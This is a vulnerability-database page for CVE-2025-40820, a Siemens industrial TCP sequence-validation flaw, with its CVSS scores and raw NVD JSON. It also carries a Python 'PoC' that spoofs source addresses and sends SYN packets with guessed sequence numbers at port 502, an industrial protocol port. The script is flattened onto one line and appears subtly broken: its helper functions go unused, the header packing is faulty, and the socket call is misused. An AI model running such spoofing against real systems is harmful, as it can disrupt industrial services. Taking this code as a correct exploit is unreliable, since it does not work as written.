Security Vulnerability Report
中文
CVE-2025-40820 CVSS 7.5 HIGH

CVE-2025-40820

Published: 2025-12-09 16:17:46
Last Modified: 2026-04-15 00:35:42

Description

Affected products do not properly enforce TCP sequence number validation in specific scenarios but accept values within a broad range. This could allow an unauthenticated remote attacker e.g. to interfere with connection setup, potentially leading to a denial of service. The attack succeeds only if an attacker can inject IP packets with spoofed addresses at precisely timed moments, and it affects only TCP-based services.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Siemens Industrial Products (affected by SSA-915282) - specific versions to be verified from Siemens security advisory
Products not properly enforcing TCP sequence number validation in specific scenarios

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-40820 TCP Sequence Number Validation PoC Note: This is a conceptual PoC for educational and security research purposes only. """ import socket import struct import random import time from scapy.all import IP, TCP, Raw def calculate_tcp_checksum(src_ip, dst_ip, src_port, dst_port, seq_num, ack_num, flags, payload=b''): """Calculate TCP checksum""" # Simplified checksum calculation pseudo_header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq_num, ack_num, 5, flags, 0xFFF, len(payload), 0) tcp_segment = pseudo_header + payload checksum = sum(struct.unpack('!%dH' % (len(tcp_segment) // 2), tcp_segment)) return ~checksum & 0xFFFF def craft_tcp_packet(src_ip, dst_ip, src_port, dst_port, seq_num, ack_num, flags, payload=b''): """Craft a TCP packet with specified sequence number""" tcp_header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq_num, ack_num, 5 << 4, flags, 0xFFF, 0, 0) return tcp_header + payload def send_tcp_injection(target_ip, target_port, spoofed_src_ip): """ Send TCP packet injection attempt Note: Actual exploitation requires precise timing and network position """ try: # Create raw socket sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) # Generate sequence number within broad range (vulnerability condition) base_seq = random.randint(0, 0xFFFFFFFF) # Construct IP header ip_header = IP(src=spoofed_src_ip, dst=target_ip, proto=socket.IPPROTO_TCP) # Construct TCP SYN packet with guessed sequence number tcp_packet = TCP(sport=random.randint(1024, 65535), dport=target_port, seq=base_seq, flags='S') print(f"[*] Sending TCP SYN injection to {target_ip}:{target_port}") print(f"[*] Spoofed source: {spoofed_src_ip}") print(f"[*] Sequence number: {base_seq} (broad range accepted due to vulnerability)") # Send packet (requires root privileges) send_packet = ip_header / tcp_packet sock.send(send_packet) print("[*] Packet sent - requires precise timing for DoS condition") return True except PermissionError: print("[!] Error: Requires root privileges to send raw packets") return False except Exception as e: print(f"[!] Error: {e}") return False def main(): # Configuration target_ip = "192.168.1.100" # Target IP - CHANGE THIS target_port = 502 # Common industrial protocol port spoofed_ip = "10.0.0.1" # Spoofed source IP print("=" * 60) print("CVE-2025-40820 TCP Sequence Number Validation PoC") print("Target: Siemens Industrial Products") print("=" * 60) # Send injection attempt send_tcp_injection(target_ip, target_port, spoofed_ip) print("\n[!] Note: Successful exploitation requires:") print(" - Network proximity for packet injection") print(" - Precise timing synchronization") print(" - Ability to spoof IP addresses") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40820", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:46.413", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Affected products do not properly enforce TCP sequence number validation in specific scenarios but accept values within a broad range. This could allow an unauthenticated remote attacker e.g. to interfere with connection setup, potentially leading to a denial of service. The attack succeeds only if an attacker can inject IP packets with spoofed addresses at precisely timed moments, and it affects only TCP-based services."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-940"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-915282.html", "source": "[email protected]"}]}}